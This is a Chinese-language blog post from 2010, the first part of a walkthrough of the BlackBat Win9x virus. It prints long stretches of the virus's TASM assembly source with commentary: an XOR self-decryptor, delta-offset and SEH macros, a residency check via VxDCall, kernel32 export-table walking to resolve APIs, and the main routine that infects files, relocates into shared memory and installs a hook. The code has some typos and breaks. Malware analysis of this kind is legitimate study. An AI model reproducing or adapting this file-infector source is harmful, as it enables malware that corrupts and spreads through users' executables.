注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

熊猫正正的博客

熊猫正正的天空

 
 
 

日志

 
 

BlackBat 学习之旅(上)  

2010-12-20 16:17:21|  分类: 我的看雪 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

最近一直在研究病毒技术~~在这里给大家分析一个比较经典的病毒样例~~其实当你仔细研究过这个病毒之后,现在的很多病毒中都会用到其中的一些技术~~~~或是根据这个病毒改进而来的,Let's Go~~~~

.386p
.model flat,stdcall
EXTRN ExitProcess:PROC        //这里就不多分析了,TASM程序开头


接下来,又定义了如下一些数据,包括宏,数据结构和常量等~~
宏主要如下:
@MESSAGE BOX MACRO szMessage
  IF DEBUG
    @DELTA  esi
    mov   eax,esi
    add   eax,offset szMessage
    call  esi + MessageBoxA,0,eax,eax,MB_OK OR MB_ICONINFORMATION
  ENDIF
endm

@DEFINE_API MACRO APIName
  sz&APIName  DB  '&APIName',0
  &APIName  DB  ?
endm

@DELTA MACRO Register
  LOCAL  GetIP
  call  GetIP
GetIP:
  pop  Register
  sub  Register,offset GetIP                               
endm

@OFFSET MACRO Register,Expression
  LOCAL  GetIP
  call  GetIP
GetIP:
  pop   Register
  add  Register,offset Expression - offset GetIP                 
endm

@GET API ADDRESS MACRO APIName
  push   ebx      ;保存GetProcAddress的地址
  push   ecx      ;保存ImageBase
  
  mov   eax,esi      
  add  eax,offset sz&APIName  ;API地址
  call  ebx,ecx,eax    ;GetProcAddress
  
  pop   ecx      ;重置ImageBase
  pop   ebx      ;重置GetProcAddress的地址
  
  mov   [esi + APIName],eax  ;保存API地址
endm

@TRY BEGIN MACRO Handler
  pushad          ;保存当前状态
  @OFFSET   esi,Handler    ;新的异常处理地址
  push     esi
  push    dword ptr fs:[0]  ;保存旧的异常处理
  mov    dword ptr fs:[0],esp  ;安装新的异常
endm

@TRY_EXCEPT MACRO Handler
  jmp NoException&Handler      ;如果没有异常发现,就跳转
Handler:
  mov   esp,[esp+8]      ;有异常发现就得到旧的ESP值
  pop   dword ptr fs:[0]    ;重置旧的异常处理
  add  esp,4
  popad
endm

@TRY_END MACRO Handler
  jmp  ExceptionHandled&Handler  ;跳到异常处理
NoException&Handler:
  pop   dword ptr fs:[0]
  add   esp,32 + 4
ExceptionHandled&Handler:
endm

@CALL  INT21h  MACRO Service
  mov   eax,Service      ;保存Service的值
  @DELTA  esi
  call  esi + VxDCall,VWIN32_Int21Dispatch,eax,ecx
endm

随后是一些数据常量
PAGE_READWRITE      EQU  00000004h
IMAGE_READ_WRITE_EXECUTE  EQU  0E0000000h
IMAGE_SCN_WRITE_SHARED    EQU  10000000h  ;共享区域
IMAGE_FILE_DLL      EQU  2000h    ;文件类型是DLL
FILE_MAP_ALL_ACCESS    EQU  000F001Fh
IMAGE_SIZEOF_NT_SIGNATURE  EQU  04h    ;PE00 = 0x00004550,4bytes
NULL        EQU  0
TRUE        EQU  1
FALSE        EQU  0

;File Access
GENERIC_READ       EQU   80000000h   ;只读
GENERIC_WRITE       EQU   40000000h   ;只写
FILE_SHARE_READ     EQU   00000001h   ;共享,写
FILE_SHARE_WRITE     EQU   00000002h   ;共享,读
INVALID_HANDLE_VALUE     EQU   -1
ERROR_ALREADY_EXISTS     EQU   000000B7h
FILE_ATTRIBUTE_NORMAL     EQU   00000080h
OPEN_EXISTING       EQU   3     ;文件没找到

;Shutdown Options
EWX_FORCE       EQU   4
EWX_SHUTDOWN       EQU   1

;MessageBox
MB_OK         EQU   00000000h
MB_YESNO       EQU   00000004h
MB_ICONINFORMATION     EQU   00000040h

;Virus_Constants
@BREAK         EQU   int 3

;MAX_RUN_TIME EQU 5*60*60*1000 ;Time we allow windows to run, 5hrs
VIRUS_SIGNATURE     EQU   08121975h   ;作者的生日
RESIDENCY_CHECK_SERVICE   EQU   0AD75h     ;检查病毒是否存在
RESIDENCY_SUCCESS     EQU   0812h     ;病毒存在

;VxD Stuff
VWIN32_Int21Dispatch     EQU   002A0010h
LFN_OPEN_FILE_EXTENDED     EQU   716Ch
PC_WRITEABLE       EQU   00020000h
PC_USER       EQU   00040000h
PR_SHARED       EQU   80060000h
PC_PRESENT       EQU   80000000h
PC_FIXED       EQU   00000008h
PD_ZEROINIT       EQU   00000001h
SHARED_MEMORY       EQU   80000000h   ;上面的所有一切都是共享的
PageReserve       EQU   00010000h
PageCommit       EQU   00010001h
PAGE_SIZE       EQU   4096     ;Win9x页大小

最后是一些很重要的数据结构,相信这些数据结构大家会在很我场合用到过~~~其实就是PE结构,我就不详解了,不懂的看我以前的那个PE连载吧~~
FILETIME STRUC                                        ;定义文件时间结构体
  FT_dwLowDateTime   DD   ?
  FT_dwHighDateTime   DD   ?
FILETIME ENDS

IMAGE_DOS_HEADER STRUC           
  IDH_e_magic     DW   ?     
  IDH_e_cblp     DW   ?     
  IDH_e_cp     DW   ?     
  IDH_e_crlc     DW   ?     
  IDH_e_cparhdr     DW   ?     
  IDH_e_minalloc     DW   ?     
  IDH_e_maxalloc     DW   ?     
  IDH_e_ss     DW   ?     
  IDH_e_sp     DW   ?     
  IDH_e_csum     DW   ?     
  IDH_e_ip     DW   ?     
  IDH_e_cs     DW   ?     
  IDH_e_lfarlc     DW   ?     
  IDH_e_ovno     DW   ?     
  IDH_e_res     DW   4 DUP (?)   
  IDH_e_oemid     DW   ?     
  IDH_e_oeminfo     DW   ?     
  IDH_e_res2     DW   10 DUP (?)   
  IDH_e_lfanew     DD   ?     
IMAGE_DOS_HEADER ENDS

IMAGE_FILE_HEADER STRUC
  IFH_Machine     DW   ?     
  IFH_NumberOfSections   DW   ?     
  IFH_TimeDateStamp   DD   ?     
  IFH_PointerToSymbolTable DD   ?     
  IFH_NumberOfSymbols   DD   ?     
  IFH_SizeOfOptionalHeader DW   ?     
  IFH_Characteristics   DW   ?     
IMAGE_FILE_HEADER ENDS

IMAGE_DATA_DIRECTORY STRUC
  IDD_VirtualAddress   DD   ?
  IDD_Size     DD   ?
IMAGE_DATA_DIRECTORY ENDS

IMAGE_OPTIONAL_HEADER STRUC
;Standard Fields
  IOH_Magic     DW   ?     
  IOH_MajorLinkerVersion   DB   ?     
  IOH_MinorLinkerVersion   DB   ?
  IOH_SizeOfCode     DD   ?     
  IOH_SizeOfInitializedData DD   ?     
  IOH_SizeOfUninitializedData DD   ?     
  IOH_AddressOfEntryPoint DD   ?     
  IOH_BaseOfCode     DD   ?     
  IOH_BaseOfData     DD   ?     
;NT Additional Fields
  IOH_ImageBase     DD   ?     
  IOH_SectionAlignment   DD   ?     
  IOH_FileAlignment   DD   ?     
  IOH_MajorOperatingSystemVersion DW ?     
  IOH_MinorOperatingSystemVersion DW ?     
  IOH_MajorImageVersion   DW   ?     
  IOH_MinorImageVersion   DW   ?     
  IOH_MajorSubsystemVersion DW   ?     
  IOH_MinorSubsystemVersion DW   ?     
  IOH_Win32VersionValue   DD   ?     
  IOH_SizeOfImage   DD   ?     
  IOH_SizeOfHeaders   DD   ?     
  IOH_CheckSum     DD   ?     
  IOH_Subsystem     DW   ?     
  IOH_DllCharacteristics   DW   ?     
  IOH_SizeOfStackReserve   DD   ?     
  IOH_SizeOfStackCommit   DD   ?     
  IOH_SizeOfHeapReserve   DD   ?     
  IOH_SizeOfHeapCommit   DD   ?     
  IOH_LoaderFlags   DD   ?     
  IOH_NumberOfRvaAndSizes DD   ?     
  IOH_DataDirectory IMAGE_DATA_DIRECTORY 16 DUP (?)
IMAGE_OPTIONAL_HEADER ENDS

IMAGE_EXPORT_DIRECTORY STRUC
  IED_Characteristics   DD   ?     
  IED_TimeDateStamp   DD   ?     
  IED_MajorVersion   DW   ?     
  IED_MinorVersion   DW   ?
  IED_Name     DD   ?     
  IED_Base     DD   ?     
  IED_NumberOfFunctions   DD   ?     
  IED_NumberOfNames   DD   ?     
  IED_AddressOfFunctions   DD   ?     
  IED_AddressOfNames   DD   ?     
  IED_AddressOfNameOrdinals DD   ?     
IMAGE_EXPORT_DIRECTORY ENDS

IMAGE_SECTION_HEADER STRUC
  ISH_Name DB 8 DUP (?) ;NULL padded ASCII string
  UNION
    ISH_PhysicalAddress   DD   ?
    ISH_VirtualSize   DD   ?   
  ENDS
  ISH_VirtualAddress   DD   ?     
  ISH_SizeOfRawData   DD   ?     
  ISH_PointerToRawData   DD   ?     
  ISH_PointerToRelocations DD   ?
  ISH_PointerToLinenumbers DD  ?
  ISH_NumberOfRelocations DW   ?
  ISH_NumberOfLinenumbers DW   ?
  ISH_Characteristics   DD   ?     
IMAGE_SECTION_HEADER ENDS

SYSTEMTIME STRUC        ;系统时间结构体
  ST_wYear     DW   ?
  ST_wMonth     DW   ?
  ST_wDayOfWeek     DW   ?
  ST_wDay     DW   ?
  ST_wHour     DW   ?
  ST_wMinute     DW   ?
  ST_wSecond     DW   ?
  ST_wMilliseconds   DW   ?
SYSTEMTIME ENDS

好了上面的准备工作做完了,正式进入病毒体的分析阶段吧~~~
病毒的入口点代码如下:

.code
;Decryptor
StartOfVirusCode:
  call GetDelta

GetDelta:                                                           
  DB  5Eh    ;pop esi
  DB  83h    ;add esi,EncryptedVirusCode - GetDelta
  DB  0C6h    
  DB  offset EncryptedVirusCode - offset GetDelta
  DB  0B9h    ;mov ecx,ENCRYPTED_SIZE(需要加密的长度) ------> $(代码结尾处)-offset EncryptedVirusCode
  DD  ENCRYPTED_SIZE
  
DecryptByte:
  DB  80h    ;xor byte ptr [esi],00h(用XOR进行加密)
  DB   36h    

EncryptionKey:
  DB  00h
  DB  46h    ;inc esi
  DB  49h    ;dec ecx
  jnz   DecryptBytes
  
EncryptedVirusCode:    ;从这里代码将会被加密
  jmp  WinMain    ;跳转到主程序处

这段代码很经典,如果大家经常看一些病源代码,就会发现大部分病毒都是这样的(或有一些小的变化),可能这段代码已经被一些杀毒软件记录下来,作为特征码了

吧,这里只是用机器码来取代汇编指令,其实你用OD进行调试的时候是一样的~~~~~

接下来,程序又在代码段中定义了一些数据~~~~
;-----------------------------Data Area--------------------------------
dwKernelBase    EQU  0BFF70000h  ;KERNE32.DLL的基址
dwUserBase    DD  ?    ;USER32.DLL的基址
szUser32DLL    DB  "USER32",0  ;不需要.DLL的扩展名

;Host File Variables  
hHostFile    DD  ?    ;主文件句柄
hMappingFile    DD  ?    ;映射文件句柄
lpHostFile    DD  ?    ;指向内存中文件映射
ftLastAccessTime  FILETIME  ?  ;被后一些文件访问时间
ftLastWriteTime    FILETIME  ?  ;最后一次文件写入时间

;Virus Variables  
szNoInfectFileName  DB  "C:\WIN.SYS",0  ;如果这个文件存在,就不进行感染

;VxD Stuff
OldInt30     DB  6 DUP(0)  
VxDCall_Busy    DB  ?    ;信号量
szOutputFile    DB  "C:\VIRUS.TXT",0

;KERNEL32 API's
VxDCall      DD  ?    ;输出表序号
@DEFINE_API    GetProcAddress
@DEFINE_API    CloseHandle  
@DEFINE_API    CreateFileA
@DEFINE_API    CreateFileMappingA
@DEFINE_API    GetFileAttributesA
@DEFINE_API    GetFileSize
@DEFINE_API    GetFileTime
@DEFINE_API    GetTickCount
@DEFINE_API    LoadLibraryA
@DEFINT_API    MapViewOfFile
@DEFINE_API    SetFileAttributesA
@DEFINE_API    SetFileTime
@DEFINE_API    UnmapViewOfFile

;USER32 API's
  @DEFINE_API    ExitWindnowsEx

  IF  DEBUG
    @DEFINE_API  MessageBoxA
  ENDIF
  
;DEBUG Only Stuff
  IF  DEBUG
    szHostFileName    DB  'NOTEPAD.EXE',0
    szWinMainHandler  DB  'UnHandled Exception in WinMain',0
    szPayLoad    DB  'Happy BirthDay',0
    szInfected    DB  'This File is Infected by the BlackBat Virus',0
  ENDIF

;入口代码讲完了,我们进入主题吧~~~~前面的代码未尾用一个JMP语句跳到我们的主程序段中
;-------------WinMain----------------
WinMain  PROC
  
  IF   DEBUG                           ;如果程序正在被单步调试,将会出现一些异常情况,一种简单的反调试技巧
    cli
    not esp
    not esp
    sti
  ENDIF                                                 
  
  @TRY_BEGIN  WinMain_Handler         ;这里调用前面的宏进行SEH异常处理的安装
(1)    call  IsVirusActive           
    test  eax,eax
    jne  End_WinMain
  
  ;Get Addresses of all Required API's
(2)  call  GetAPIAddresses      ;得到其它API函数的地址
  test  eax,eax        ;函数返回值
  jz  WinMain        ;循环
  
  IF  DEBUG
    @MESSAGE_BOX   szInfected
    @OFFSET    ebx,szHostFileName
(3)    call    InfectFile,ebx
  ENDIF
  
  ;Check if this Machine is to be Infected
(4)  call  CanMachineBeInfected    ;判断是否感染这台机器
  test  eax,eax  
  jz  End_WinMain      ;不感染
  
  ;Relocate Virus (Make Resident)
(5)  call  RelocateVirus      
  test  eax,eax        ;病毒是否已重定位
  je   End_WinMain
  
  ;Jump to Relocated Virus Copy
  @OFFSET  ebx,StartOfVirusCode    ;从没有重定位地方开始拷贝
  add   eax,offset RelocatedVirus - offset StartOfVirusCode
  jmp   eax        ;跳转到重定位处
  
  ;在共享内存中拷贝重定位代码
  
RelocatedVirus:
  
  @DELTA  eax
  mov  esi,eax        ;保存Delta地址偏移
  add  eax,offset StartOfVirusCode  ;从病毒的重定位开始
  sub   eax,ebx        ;相差的偏移量
  
  ;下面主要是为了让病毒能在正确的内存位置处进行执行
  
  add  esi,offset ReturnToHost + 1  ;指向JMP操作
  sub   [esi],eax      ;修改JMP指令
(6)  call  InstallHookProcedure
  
End_WinMain:
  @TRY_EXCEPT WinMain_Handler
    @MESSAGE_BOX  szWinMainHandler
  @TRY_EXCEPT  WinMain_Handler
  
  
ReturnToHost:
  DB  0E9h,00,00,00,00    ;这里是一种很常见的HOOK API技术了,使用JMP指令进行跳转
WinMain endp

接下来,我将以主程序为一条主线,进行讲解,上面我标出了,主程序中使用的六个函数,我们来重点分析这几个函数都在做些什么工作吧~~
(1)IsVirusActive 用于判断病毒在内存中的状态
IsVirusActive   PROC
(*)  call   GetAddressOfKernelAPI, 0          ;调用GetAddressOfKernelAPI得到VxDCall的API地址  
  test   eax, eax                       
  jz   End_IsVirusActive                 ;如果函数调用失败就直接返回                    

  @OFFSET ebx, VxDCall                      ;成功,则保存VxDCall API地址           
  mov   [ebx], eax                       

  @CALL_INT21h RESIDENCY_CHECK_SERVICE      ;调用前面定义的宏,检查是否已经被感染了
  xor   eax, eax                       
  cmp   esi, RESIDENCY_SUCCESS                              
  jne   End_IsVirusActive             ;如果已经被感染了,也直接返回                  
  inc   eax                         
End_IsVirusActive:
  ret
IsVirusActive ENDP

这里又调用了一个函数(*)处,我们在跟进去看看~~~
GetAddressOfKernelAPI PROC gaoka wAPIName:DWORD
  
  local   lpdwAddressOfFunctions:DWORD
  local   lpdwAddressOfNames:DWORD
  local   lpwAddressOfNameOrdinals:DWORD
  local   dwVAIEd:DWORD
  
;得到文件头
(*)  call   GetFileHeaders,dwKernelBase             ;调用GetFileHeaders得到文件头
  test  eax,eax          ;成功,则保存文件头
  je   End_GetAddressOfKernelAPI    ;不成功,则直接返回
  mov   [dwVAIED],edx        ;保存文件头
  mov   esi,dwKernelBase                        ;将前面定义的kernel32.dll基地址传给esi
  
;得到函数地址
  mov   ecx,[dwVAIED]
  mov   eax,(IMAGE_EXPORT_DIRECTORY[ecx]).IED_AddressOfFunctions
  add  eax,esi        ;得到函数的虚拟地址
  mov   dword ptr [lpdwAddressOfFunctions],eax
  
;查找那些需要的API函数
  cmp  [gaoka_wAPIName],0      ;返回VxDCall或GetProcAddress地址
  jne  GetProcAddressRequired      ;如果是需要的函数API,则跳转到GetProcAddress
  
;通过索引来得到函数地址
  xor   eax,eax
  inc  eax              ;索引号
  sub  eax,(IMAGE_EXPORT_DIRECTORY [ecx]).IED_Base        ;索引号是否在指定范围内
  jmp  GetAddressFromIndex          

GetProcAddressRequired:
;得到函数的名称
  mov   ecx, [dwVAIED]
  mov   eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNames
  add   eax, esi             ;得到函数的虚拟地址
  mov   dword ptr [lpdwAddressOfNames], eax
  
;得到函数地址
  mov   ecx, [dwVAIED]
  mov   eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNameOrdinals
  add   eax, esi             ;函数的地址
  mov   dword ptr [lpwAddressOfNameOrdinals], eax
  
;在名称地址数组中查找API
  push   esi               ;保存kernel32.dll基址
  mov   eax, esi             ;保存在EAX中
  xor   ebx, ebx
  dec   ebx               ;初始化索引减一
  mov   edx, dword ptr [lpdwAddressOfNames]
  @OFFSET esi, szGetProcAddress           ;如果找到
  mov   ecx, esi               ;保存地址在ECX中
CheckNextAPI:
  inc   ebx               ;增加索引
  mov   edi, dword ptr [edx + ebx*4]         ;通过索引得到函数地址
  add   edi, eax             ;得到虚拟地址
  mov   esi, ecx             ;得到前面那个函数的地址
CheckNextByte:
  cmpsb                 ;检查字符串
  jne   CheckNextAPI             ;如果不与需要的API相同,就继续查找下一个字符
  cmp   byte ptr [edi], 0           ;是否到达了函数表的未尾
  je   FoundAPI             ;是否找到了API
  jmp   CheckNextByte             ;没有,就继续下一个吧
FoundAPI:
                  
  pop   esi               
;Compute the Index
  mov   ecx, ebx
  mov   edx, dword ptr [lpwAddressOfNameOrdinals]
  movzx   eax, word ptr [edx + ecx*2]         ;函数的索引
;Get the Address (EAX = Index, ESI = Kernel32 Base)
GetAddressFromIndex:
  mov   ebx, [lpdwAddressOfFunctions]
  mov   eax, dword ptr [ebx + eax*4]         ;API的相对虚拟地址
  add   eax, esi             ;API的虚拟地址
End_GetAddressOfKernelAPI:
  ret
GetAddressOfKernelAPI ENDP

这个函数里面又调用了一个新的函数(*)GetFileHeaders得到文件头
GetFileHeaders   PROC   gfh_dwFileBase:DWORD
  LOCAL   dwIOH:DWORD, \
    dwIED:DWORD, \
  mov   esi, [gfh_dwFileBase]
  cmp   word ptr [esi], "ZM"                     ;比较是EXE还是DLL
  jne   Error_GetFileHeaders                     
;Check for PE Signature
  add   esi, (IMAGE_DOS_HEADER [esi]).IDH_e_lfanew
  cmp   dword ptr [esi], "EP"                     ;是否是PE文件
  jne   Error_GetFileHeaders                     
;Get Image Optional Header
  add   esi, IMAGE_SIZEOF_NT_SIGNATURE                   ;文件头映像
  push   esi                         ;保存文件头映像
  add   esi, SIZE IMAGE_FILE_HEADER                   ;可选头映像
  mov   [dwIOH], esi                       ;保存可选头映像
;Get the Address of the Image Export Directory
  mov   esi, (IMAGE_OPTIONAL_HEADER [esi]).IOH_DataDirectory(0).IDD_VirtualAddress       ;得到输出表的映像地址
Export Directory
  add   esi, [gfh_dwFileBase]
  mov   dword ptr [dwIED], esi
;Get Address of Last Section Header
  pop   esi                         ;得到文件头的大小
  movzx   ecx, (IMAGE_FILE_HEADER [esi]).IFH_SizeOfOptionalHeader
  add   ecx, [dwIOH]                       ;得到第一个区块大小
  movzx   eax, (IMAGE_FILE_HEADER [esi]).IFH_NumberOfSections
  dec   eax                         ;区块数减1
  imul   eax, eax, SIZE IMAGE_SECTION_HEADER                 ;所有区块头总和
  ;mov ebx, SIZE IMAGE_SECTION_HEADER
  ;mul ebx ;Size of All Section Headers
  add ecx, eax ;Address of Last Section Header
  ;Return Header Values
  mov eax, esi                         ;文件头映像
  mov ebx, [dwIOH]
  mov edx, [dwIED]
  jmp End_GetFileHeaders
Error_GetFileHeaders:
  xor eax, eax ;Error, Return 0
End_GetFileHeaders:
  ret
GetFileHeaders ENDP


(1)我们就分析完成了,接着看(2)得到所有需要的API函数地址
GetAPIAddresses PROC
  
(*)  call  GetAddressOfKernelAPI,1    ;通过GetAddressOfKernelAPI函数,得到GetProcAddress的地址
  test  eax,eax        
  jz   End_GetAPIAddresses    ;是否得到,如是没有得到,则直接返回
  
  ;得到所有需要的API函数地址
  ;ESI = Delta 的偏移
  ;EBX = GetProcAddress函数地址
  ;ECX = kerne32.dll的基址
  
  @DELTA   esi        
  mov  ebx,eax
  mov  ecx,dwKernelBase
  @GET_API_ADDRESS  CloseHandle
  @GET_API_ADDRESS  CreateFileA
  @GET_API_ADDRESS  CreateFileMappingA
  @GET_API_ADDRESS  GetFileAttributesA
  @GET_API_ADDRESS  GetFileSize
  @GET_API_ADDRESS  GetFileTime
  @GET_API_ADDRESS  GetLocalTime
  @GET_API_ADDRESS  GetTickCount
  @GET_API_ADDRESS  LocaLibraryA
  @GET_API_ADDRESS  MapViewOfFile
  @GET_API_ADDRESS  SetFileAttributesA
  @GET_API_ADDRESS  SetFileTime
  @GET_API_ADDRESS  UnmapViewOfFile
  
;加载User32.dll
  push  ebx      ;保存GetProcAddress函数地址
  
  mov  eax,esi      ;Delta偏移
  add   eax,offset szUser32Dll  ;user32.DLL被加载
  call  esi + LoadLibraryA,eax  
  mov   ecx,eax      ;user32.dll基址
  
  pop   ebx      ;重置GetProcAddress函数地址
  
  ;得到所有需要的API函数地址
  ;ESI = Delta的偏移
  ;EBX = GetProcAddress函数地址
  ;ECX = user32.dll的基址
  
  @GET_API_ADDRESS ExitWindowsEx  ;调用宏得到ExitWindowsEx的地址
  IF DEBUG
    @GET_API_ADDRESS  MessageBoxA  ;调用宏得到MessageBoxA的地址
  ENDIF

End_GetAPIAddresses:
  ret

GetAPIAddresses endp

这个函数比较简单就是得到我们需要用到的API函数的地址即可,再来看(3),这个函数是程序的关键,即感染文件函数

  评论这张
 
阅读(69)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017